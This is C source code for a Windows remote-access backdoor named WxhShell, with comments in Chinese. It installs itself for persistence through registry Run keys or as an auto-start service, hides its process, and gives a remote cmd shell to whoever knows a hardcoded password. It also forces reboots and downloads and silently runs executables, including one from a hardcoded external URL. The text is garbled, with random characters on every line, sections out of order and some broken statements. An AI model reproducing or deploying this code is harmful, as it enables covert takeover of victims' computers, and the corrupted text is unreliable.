    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hCgk78O?  
    if(Boot(SHUTDOWN)) UB8n,+R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^  ~1QA  
    else { 47{5{/B-  
    closesocket(wsh); }#&[[}@th  
    ExitThread(0); E&t8nlTx  
    } :,$"Gk  
    break; E^{!B]/oP  
    } *+6iXMwe  
  // 获取shell (5:pHX`P  
  case 's': { f9y+-GhaD  
    CmdShell(wsh); pih 0ME}z  
    closesocket(wsh); r.Z g<T  
    ExitThread(0); e9Gu`$K  
    break; ?+Vi !eS  
  } H13\8Te{  
  // 退出 ]D,_<Kk  
  case 'x': { u+6D|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KC:6^h'.  
    CloseIt(wsh); sHPeAa22  
    break; d>MDC . j  
    } tV pXA'"!x  
  // 离开 X+u1p?  
  case 'q': { =\)zb'\=d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); };P=|t(r  
    closesocket(wsh); rxy5Nrue  
    WSACleanup(); >P}XCAU  
    exit(1); d2U?rw_  
    break; v}AjW%rB  
        } hc0$mit  
  } #E\6:UnT  
  } |) &d9|]  
5{DwD{Q  
  // 提示信息 -U_,RMw~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X6w+L?A  
} - 3PLP$P  
  } -jrAk  
5efN5Kt  
  return; S fY9PNck\  
} %FqQ+0^  
t"J{qfNs  
// shell模块句柄  H4YA  
int CmdShell(SOCKET sock) &~B8~U4%  
{ >X:!Y[N  
STARTUPINFO si; K]yWpW  
ZeroMemory(&si,sizeof(si)); ",Mrdxn7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !5[SNr3^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /$\8?<Pc".  
PROCESS_INFORMATION ProcessInfo; z"7X.*]  
char cmdline[]="cmd"; &IRM<A!8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4!96k~d}  
  return 0; R/E6n &R  
} ;+o6"ky5  
#CyqiOM\*  
// 自身启动模式 }F9#3W&`c  
int StartFromService(void) Q 9f5}  
{ (=1zMZ o  
typedef struct  nsV=  
{ >/}p{Tj  
  DWORD ExitStatus; s!MD8i a  
  DWORD PebBaseAddress; kj4=Q\Rfm  
  DWORD AffinityMask; 5X5UUdTM  
  DWORD BasePriority; @y * TVy  
  ULONG UniqueProcessId; (w(k*b/  
  ULONG InheritedFromUniqueProcessId; ^Ojg}'.Ygv  
}   PROCESS_BASIC_INFORMATION; kou7_4oS  
kv?DE4=;  
PROCNTQSIP NtQueryInformationProcess; =_@) KWeX$  
i tk/1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L=HnVgBs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x`IWo:j  
<_=O0 t| 6  
  HANDLE             hProcess; c1y+k vv  
  PROCESS_BASIC_INFORMATION pbi; x7i<dg&  
BE~-0g$W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B~& }Mv  
  if(NULL == hInst ) return 0; *|C vK&7  
-rgdKA@)(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yUxz,36wZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q^@7Yg@l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N@!PhP  
Ix@B*Xz:`  
  if (!NtQueryInformationProcess) return 0; gsa@ci  
nf&5oE^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /<k 5"C% z  
  if(!hProcess) return 0; %Kp^wf#o9  
:kwDa a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E GZiWBr  
1:@ScHS  
  CloseHandle(hProcess); ke<5]&x  
Lh.-*H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >@4AxV\  
if(hProcess==NULL) return 0; }?+tX<j  
e0Gs|c+6  
HMODULE hMod; 7(^F@,,@  
char procName[255]; {&B0kjf  
unsigned long cbNeeded; ?q2Yk/P  
BTG_c_ ?]e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hfo<EB2Y9N  
`f~$h?}3-@  
  CloseHandle(hProcess); Lz:FR*  
YH^@8   
if(strstr(procName,"services")) return 1; // 以服务启动 EQ :>]O  
-Xw S?*O  
  return 0; // 注册表启动 %,ScGQE  
} u3wd~.  
bH'2iG  
// 主模块 V U5</si+  
int StartWxhshell(LPSTR lpCmdLine) eU e, P  
{ "sY}@Q7  
  SOCKET wsl; y>gw@+  
BOOL val=TRUE; r{S DJa  
  int port=0; 87!m l  
  struct sockaddr_in door; ,]]IJ;:w  
T*8K.yw2  
  if(wscfg.ws_autoins) Install(); 8HIX$OX>2  
$}z/BV1I  
port=atoi(lpCmdLine); &k-NDh3  
7-u'x[=m  
if(port<=0) port=wscfg.ws_port; Q&?0 ^;r  
hJir_=  
  WSADATA data; #qD[dC$[t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]\L+]+u~  
];b+f@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V3d$C&<(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fH:S_7i  
  door.sin_family = AF_INET; X6qgApyE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DUF$-'A  
  door.sin_port = htons(port); FCKyKn  
=20 +(<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ji.?bKqHE  
closesocket(wsl); EN}XIa>R  
return 1; ~82 {Y _{/  
} T34Z#PFwe  
oj)(.X<8N  
  if(listen(wsl,2) == INVALID_SOCKET) { N#$]W"U  
closesocket(wsl); PCV#O63[  
return 1; Q&^\YgkCf  
} (pd~ 2!;C  
  Wxhshell(wsl); &%qDi_UD  
  WSACleanup(); Tm7LaM  
{Ja(+NQ  
return 0; b0@K ~O;g  
gwXmoM5  
} S{f,EBE  
%f1IV(3Qc  
// 以NT服务方式启动 Hr!$mf)h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -Wh 2hWg+  
{ {9x>@p/  
DWORD   status = 0; ;f N^MW@&[  
  DWORD   specificError = 0xfffffff; ?d{O' &|:  
#5'@at'1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hdSP#Y'-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qfxEo76'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L%QRWhB  
  serviceStatus.dwWin32ExitCode     = 0; s@y;b0$gk  
  serviceStatus.dwServiceSpecificExitCode = 0; Hz==,NR-W  
  serviceStatus.dwCheckPoint       = 0; U[8F{LX  
  serviceStatus.dwWaitHint       = 0; (uhE'IQ{(  
X7`-dSVE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vH1,As  
  if (hServiceStatusHandle==0) return; ^Qn:#O9  
Y%- !%|  
status = GetLastError(); )& Oxp&x  
  if (status!=NO_ERROR) Fa v++z  
{ IA[:-2_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S $o1Q  
    serviceStatus.dwCheckPoint       = 0; B'`25u_e<  
    serviceStatus.dwWaitHint       = 0; EN":}!E:  
    serviceStatus.dwWin32ExitCode     = status; g;nLR<]  
    serviceStatus.dwServiceSpecificExitCode = specificError; v2p0EOS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n"D` =  
    return; [m 6+I9  
  } fqq4Qc)#U&  
hiA\~}sl n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Di4GaKa/  
  serviceStatus.dwCheckPoint       = 0; >w,jaQ  
  serviceStatus.dwWaitHint       = 0; M+HhTW;I=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =l${p*ABQ  
} yG7H>LF?8  
^~7Mv^A  
// 处理NT服务事件,比如:启动、停止 :l1-s]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fiD,HGx i  
{ B$x@I\(M  
switch(fdwControl) i'"#{4I  
{ Rt&5s)O'  
case SERVICE_CONTROL_STOP: *n7=m=%)  
  serviceStatus.dwWin32ExitCode = 0; (6:.u.b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Th*}U&  
  serviceStatus.dwCheckPoint   = 0; 0chpC)#Q3;  
  serviceStatus.dwWaitHint     = 0; l}/&6hI+d  
  { 8TP~=qU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H)"]I3  
  } vD?D]8.F~Q  
  return; $e--"@[Y  
case SERVICE_CONTROL_PAUSE: z/f._Z(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ak kF6d+  
  break; q5z^y(Sv  
case SERVICE_CONTROL_CONTINUE: 4\*:Lc,-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w\eC{,00:  
  break; F'|e:h  
case SERVICE_CONTROL_INTERROGATE: ?CC.xE  
  break; T6=|)UTe1  
}; V+@}dJS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5y\35kT'  
} 7Hgn/b[?b  
rwP)TJh"  
// 标准应用程序主函数 6-TYOUm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1IS1P)4_0  
{ ?b{y#du2a  
XM w6b*O  
// 获取操作系统版本 3!fR'L/i  
OsIsNt=GetOsVer(); cRD;a?0/6s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5dN>Xjpu  
j%-Ems*H  
  // 从命令行安装 ~ho,bwJM[T  
  if(strpbrk(lpCmdLine,"iI")) Install(); C/qKa[mg  
{Bk` Zlki  
  // 下载执行文件 3\ Mt+!1{  
if(wscfg.ws_downexe) { <HN+pi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yI#qkl-  
  WinExec(wscfg.ws_filenam,SW_HIDE); p I8z.JD  
} Tj_K5uccU}  
S#B%[3@  
if(!OsIsNt) { x$n.\`f0  
// 如果时win9x,隐藏进程并且设置为注册表启动 L8f+uI   
HideProc(); -s`Wd4AP  
StartWxhshell(lpCmdLine); a3\~AO H%  
} ,IqE<i!U  
else !&g_hmnIF  
  if(StartFromService()) ,pdzi9@=t  
  // 以服务方式启动 &y=OZ !M  
  StartServiceCtrlDispatcher(DispatchTable); 3%1wQXr0  
else A46q`l9B  
  // 普通方式启动 hZL!%sL7  
  StartWxhshell(lpCmdLine); vo\'ycPv  
 R.HvqO  
return 0; qCfEv4  
} z _\L@b  
R+(f~ j'  
3ej237~F,L  
)e`9U.C  
=========================================== ;nW;M 4{  
R3lZ|rxv:  
wbKJ:eWgt  
5YNAb/! !F  
% H"  
5CN=a2&  
" C=q&S6/+  
h'=)dFw7  
#include <stdio.h> { >izfG,\  
#include <string.h> \i//Aq  
#include <windows.h> 3!gz^[!?EN  
#include <winsock2.h> gL&w:_  
#include <winsvc.h> Tc||96%2^  
#include <urlmon.h> vnQFq  
.[]S!@+%  
#pragma comment (lib, "Ws2_32.lib") P[q>;Fx*  
#pragma comment (lib, "urlmon.lib") %#v$d  
6wwbH}*=?  
#define MAX_USER   100 // 最大客户端连接数 NcF>}f,}\  
#define BUF_SOCK   200 // sock buffer $3>Rw/,  
#define KEY_BUFF   255 // 输入 buffer %po;ih$jr*  
S}U_uZ$b  
#define REBOOT     0   // 重启 Y 'X!T8  
#define SHUTDOWN   1   // 关机 "i/GzD7`n  
hDW_a y4  
#define DEF_PORT   5000 // 监听端口 $#s5y~z  
2ns,q0I A  
#define REG_LEN     16   // 注册表键长度 BV>9U5  
#define SVC_LEN     80   // NT服务名长度 /]Y#*r8jRi  
v@[3R7|4  
// 从dll定义API \9V_[xD+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _[-MyUs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ),B/NZ/-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ri59LYy=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PDA9.b<q0  
Aqf91 [c  
// wxhshell配置信息 :M{ )&{D  
struct WSCFG { 6IT6EkiT  
  int ws_port;         // 监听端口 cRr3!<EZ  
  char ws_passstr[REG_LEN]; // 口令 K3 BWj33  
  int ws_autoins;       // 安装标记, 1=yes 0=no x  zF  
  char ws_regname[REG_LEN]; // 注册表键名 tg#jjXV\0p  
  char ws_svcname[REG_LEN]; // 服务名 1z&"V}y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YQ?hAAJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2(3Q#3V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YB7A5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no urx?p^c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UF5_be,D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~b)X:ku  
>m1b/J3#  
}; M\CzV$\y  
FO_}9<s  
// default Wxhshell configuration z5iCQ4C<  
struct WSCFG wscfg={DEF_PORT, lN5PKsGl  
    "xuhuanlingzhe", leNX5 sX  
    1, sB *dv06b0  
    "Wxhshell", R-Lpgi<a"  
    "Wxhshell", F3!@|/<w  
            "WxhShell Service", #BBDI  
    "Wrsky Windows CmdShell Service", N5;z5E  
    "Please Input Your Password: ", DKMkCPX%  
  1, -YQS\@?  
  "http://www.wrsky.com/wxhshell.exe", ;k#_/c  
  "Wxhshell.exe" RbxQTM_:M  
    }; e> 9X  
-th.(eAx  
// 消息定义模块 CckfoJ 9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Sft vN-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |-\anby<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DPW^OgL;  
char *msg_ws_ext="\n\rExit."; Lc}hjK  
char *msg_ws_end="\n\rQuit."; W9c&"T9JT  
char *msg_ws_boot="\n\rReboot..."; ,D`jlY-1l  
char *msg_ws_poff="\n\rShutdown..."; 6<S-o|Xw  
char *msg_ws_down="\n\rSave to "; R||$Rfe  
M61Nl)|mx&  
char *msg_ws_err="\n\rErr!"; wj}LVyV  
char *msg_ws_ok="\n\rOK!"; oP56f"BE(  
!L9|iC:8  
char ExeFile[MAX_PATH]; ^vG<Ma.yk  
int nUser = 0; vS5}OV  
HANDLE handles[MAX_USER];  }E(w@&  
int OsIsNt; %4x0^<k~  
%{r3"Q=;W  
SERVICE_STATUS       serviceStatus; zB+e;x f|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C,> n  
oupWzjo  
// 函数声明 dT7f yn  
int Install(void); `g1?Q4h  
int Uninstall(void); xV14Y9  
int DownloadFile(char *sURL, SOCKET wsh); .bp#YU,m  
int Boot(int flag); '*Dp2Y{7  
void HideProc(void); 0#Ug3_dfr  
int GetOsVer(void); *(r9c(xa  
int Wxhshell(SOCKET wsl); ERK{smL  
void TalkWithClient(void *cs); UJL'4 t/  
int CmdShell(SOCKET sock); 5D7 L)>  
int StartFromService(void); Ofoh4BL'1@  
int StartWxhshell(LPSTR lpCmdLine); R>:D&$[RD  
C "@>NC_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V!]|u ^4I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _I'k&R  
KV;q}EyG  
// 数据结构和表定义 .0U[n t6  
SERVICE_TABLE_ENTRY DispatchTable[] = O zC%6;6h  
{ 85|u;Fxf  
{wscfg.ws_svcname, NTServiceMain}, b}Im>n!  
{NULL, NULL} &I'J4gk[  
}; K9&Q@3V  
FPK=Tr:b  
// 自我安装 VK*H1EH1  
int Install(void) .tfal9  
{ Ex_dqko  
  char svExeFile[MAX_PATH]; A~>B?Wijqg  
  HKEY key; ?rt[ aK  
  strcpy(svExeFile,ExeFile); z)*{bz]  
lAA6tlc#C  
// 如果是win9x系统,修改注册表设为自启动 ='kCY}dkO  
if(!OsIsNt) { o(54 A['  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n>Oze7hVY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  1 <T|  
  RegCloseKey(key); %|JL=E}%|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V:5aq.o!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m$_l{|4z  
  RegCloseKey(key); *tpS6{4=#7  
  return 0; A 9l d9R  
    } 9 {SzE /[  
  } c1_Zi  
} t6 -fG/Kc  
else { SufM ~9Ll  
_[&.`jTFn  
// 如果是NT以上系统,安装为系统服务 jb/C\2U4)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /\Xe '&  
if (schSCManager!=0) fYZd:3VdC  
{ !JDuVqW  
  SC_HANDLE schService = CreateService .sj/Lw}  
  ( 3''Kg<k,I  
  schSCManager, j8?! J^TC  
  wscfg.ws_svcname, K9ih(fh)  
  wscfg.ws_svcdisp, dQp>z%L)  
  SERVICE_ALL_ACCESS, vzSjfv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >^#Liwm  
  SERVICE_AUTO_START, YT[=o}jS  
  SERVICE_ERROR_NORMAL, ft{i6}  
  svExeFile, oTb42a_j{  
  NULL, k{X+Y6'ku  
  NULL, G^L9[c= ,  
  NULL, +B+cN[d  
  NULL, jc>B^mqx  
  NULL Jk|DWZ  
  ); o(v7&m;  
  if (schService!=0) 4UW)XLu6T7  
  { 6=Q6J  
  CloseServiceHandle(schService); !]mo.zDSW5  
  CloseServiceHandle(schSCManager); Q9p2.!/C1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kMEXgzl  
  strcat(svExeFile,wscfg.ws_svcname); 3ErV" R4"$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N@'l: N'f4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <H<Aba9\  
  RegCloseKey(key); Ya<KMBi3  
  return 0; q]!FFi{w;  
    } X>yE<ni  
  } TOP,]N/F H  
  CloseServiceHandle(schSCManager); dR,a0+!  
} K!>3`[:I"  
} }7fzEo`g  
#sv}%oV,F  
return 1; l_2l/ff9  
} m\ qR myO  
Q>w)b]d~c  
// 自我卸载 wax^iL!  
int Uninstall(void) b=WkRj  
{ kwS[,Qy\  
  HKEY key; dKchQsgCg  
q~AvxO  
if(!OsIsNt) { vu*{+YpH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0&&P+adk  
  RegDeleteValue(key,wscfg.ws_regname); drwxrZt   
  RegCloseKey(key); 0f+]I=1\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xTcY&   
  RegDeleteValue(key,wscfg.ws_regname); #^-'q`)  
  RegCloseKey(key); ~xPetkl@  
  return 0; Qd ?S~3XT  
  } y^{ 4}^u-^  
} \j we  
} 5(Q-||J  
else { @JP6F[d  
#=m:>Q?%z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %A&g-4(  
if (schSCManager!=0) <x$f D37  
{ m<MN.R7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _\,4h2(  
  if (schService!=0)  NY[48H  
  { b4ke'gx  
  if(DeleteService(schService)!=0) { IL*MB;0>  
  CloseServiceHandle(schService); q}g0-Da  
  CloseServiceHandle(schSCManager); >M m.MNU  
  return 0; pFo,@M  
  } LzB*d  
  CloseServiceHandle(schService); 6p,}?6^  
  } sJg3WN  
  CloseServiceHandle(schSCManager); '@QK<!%,  
} k.Z?BNP  
} Z\)P|#L$  
D9r;Ys%  
return 1; |IWm:[H3  
} ^M1O)   
cf_X=;yaqy  
// 从指定url下载文件 lcoJ1+`C  
int DownloadFile(char *sURL, SOCKET wsh) VOmS>'$  
{ <&t[E0mU  
  HRESULT hr; Tl^)O^/  
char seps[]= "/"; k@9q5lu;T  
char *token; MY&?*pV)  
char *file; + k   
char myURL[MAX_PATH]; f5nAD  
char myFILE[MAX_PATH]; qMBEJ<o  
*b1NVN$  
strcpy(myURL,sURL); xz/G$7q7  
  token=strtok(myURL,seps); mj2sbRiSR=  
  while(token!=NULL)  ck`$ `  
  { q1%xk =8  
    file=token; Sa6YqOel@  
  token=strtok(NULL,seps); X=JAyxY  
  } KH[Oqd  
J8`vk#5  
GetCurrentDirectory(MAX_PATH,myFILE); f%STkL)  
strcat(myFILE, "\\"); .ityudT<  
strcat(myFILE, file); &gvX<X4e  
  send(wsh,myFILE,strlen(myFILE),0); mgEZiAV?  
send(wsh,"...",3,0); =Ajw(I[56  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n]wZ7z  
  if(hr==S_OK) M""X_~&I"  
return 0; 79M` ?xm  
else )|S!k\^A  
return 1; IBv9xP]BZ  
s3gT6  
} & =vi]z:[  
z#olKBs  
// 系统电源模块 MCfDR#a  
int Boot(int flag) M5LqZyY  
{ 55x.Q  
  HANDLE hToken; k%cT38V*  
  TOKEN_PRIVILEGES tkp; u O~MT7~[X  
Uw>g^[V;  
  if(OsIsNt) { E`3[62C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z9PG7h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [i N}W5 m  
    tkp.PrivilegeCount = 1; _57 68G`P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `"E<%$|ZQy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l8!n!sC[,  
if(flag==REBOOT) { J,wpY$93  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sX=_|<[  
  return 0; Q<Th*t   
} a 1pa#WC  
else { j}DG +M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p4wXsOQ}  
  return 0;  0GiL(e|  
} '\Hh  
  } '[Ch8Yf\  
  else { I!,FxOM|$  
if(flag==REBOOT) { 9xUAfU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sc$]ar]S  
  return 0; p%y|w  
} }o#6g|"\sY  
else { / CVhvK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1x4{~g\  
  return 0; ~G`(=\_0  
} `Jon^&^;|  
} 2UjQ!g`  
*.NVc  
return 1; I)X33X,  
} 1C\[n(9  
<al/>7z' O  
// win9x进程隐藏模块 FFqqAT5  
void HideProc(void) \*$''`b)j  
{ #+Cu&l  
,Tc598D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XQL]I$?  
  if ( hKernel != NULL ) Q68q76  
  { !XS ;&s7[*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N;]"_"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `+Ojh>"*z*  
    FreeLibrary(hKernel); AE 2>smp5@  
  } a-7T   
*J] }bX  
return; '\.fG\xD  
} }zu?SZH  
72>/@  
// 获取操作系统版本 seEG~/U<  
int GetOsVer(void) 3]}wZY0  
{ } ^67HtNQ  
  OSVERSIONINFO winfo; b7h0V4w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x*uQBNf=  
  GetVersionEx(&winfo); oefhJM!y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jO#5ZhG  
  return 1; 8yV?l7  
  else ohe0}~)V  
  return 0; Y-Gqx  
} juQQ  
}_L,Xg:I  
// 客户端句柄模块 Fm3B8Int  
int Wxhshell(SOCKET wsl) Ks@  
{ 8n^v,s>  
  SOCKET wsh; !4B($]t  
  struct sockaddr_in client; c31k%/.  
  DWORD myID; V.*0k~  
xr*hmp1  
  while(nUser<MAX_USER) VUaYK  
{ }&OgIo+  
  int nSize=sizeof(client); k-&fPEjG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h}o7/p  
  if(wsh==INVALID_SOCKET) return 1; #4e Taik  
y QxzFy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >F~]r$G  
if(handles[nUser]==0)  0"_FQv  
  closesocket(wsh); -_RMiGM?T  
else Oy^)lF/  
  nUser++; ,f;YJHEx8  
  } :Ojsj_Z;;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xG^6'<  
DPE]<oM  
  return 0; pO.+hy  
} s*k[Fbi  
9$pQ|e0tJ  
// 关闭 socket N>S_Vgk}  
void CloseIt(SOCKET wsh) nDvj*lZF  
{ El$yM.M"  
closesocket(wsh); - kVt_  
nUser--; l |c#  
ExitThread(0); `}YCUm[SI  
} 3~7X2}qU  
7]w]i5  
// 客户端请求句柄 11s*C #  
void TalkWithClient(void *cs) D@5AI ](  
{ ' ?3e1  
`$*cW1  
  SOCKET wsh=(SOCKET)cs; jF}u%T)HL  
  char pwd[SVC_LEN]; CnT]u U  
  char cmd[KEY_BUFF]; (c<MyuWb  
char chr[1]; V9tG2m Lf>  
int i,j; Jf-4Q!  
n:-:LSa+3  
  while (nUser < MAX_USER) { T(E$0a)#  
4ACL|RF)A  
if(wscfg.ws_passstr) { mgk<PY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1I*b7t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WxB}Uh  
  //ZeroMemory(pwd,KEY_BUFF); U=4tJb  
      i=0; o+o'!)  
  while(i<SVC_LEN) { A3VXh^y+  
kDAPT_Gid  
  // 设置超时 u!FX 0Ip  
  fd_set FdRead; 2aef[TY  
  struct timeval TimeOut; Ov$_Phm:  
  FD_ZERO(&FdRead); lC8DhRd0_  
  FD_SET(wsh,&FdRead); l cHqg  
  TimeOut.tv_sec=8; a&3pPfC  
  TimeOut.tv_usec=0; dVh*  a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h7iI=[_V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SL9]$MmJn  
o\oS_f:RD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^{3,ok*Nf  
  pwd=chr[0]; 9U[ A   
  if(chr[0]==0xd || chr[0]==0xa) { BM_hW8&G  
  pwd=0; +} al_.  
  break;  Hy _ (  
  } w^e5"og]  
  i++; >}tm8|IHoo  
    } &&/2oP+z  
7$8YBcZ6  
  // 如果是非法用户,关闭 socket " Zo<$p3]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h/7m.p]  
} ^h}xFiAV#  
bG`aF*10)!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i/j DwA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s}NE[Tw  
{s8v0~  
while(1) { uAd4 Zz  
HAof,* h$  
  ZeroMemory(cmd,KEY_BUFF); \>b :  
_sEkKh8x  
      // 自动支持客户端 telnet标准   >l & N  
  j=0; JVPl\I  
  while(j<KEY_BUFF) { u|v2J/_5Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,i>{yrsOh  
  cmd[j]=chr[0]; @+OX1-dd/w  
  if(chr[0]==0xa || chr[0]==0xd) { noali96J  
  cmd[j]=0; B:-qUuS?R  
  break; #nTzn2  
  } ;<j[0~qp:  
  j++; ?Vy% <f$  
    } lV4|(NQ9  
Z2HH&3HA  
  // 下载文件 `Ap<xT0H  
  if(strstr(cmd,"http://")) { MN wMF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }YiE} +VW|  
  if(DownloadFile(cmd,wsh)) D%CKkQ<u2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8|5ttdZ  
  else z}>q/!q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Qo YX] .  
  } u0&QStI  
  else { i%M6$or  
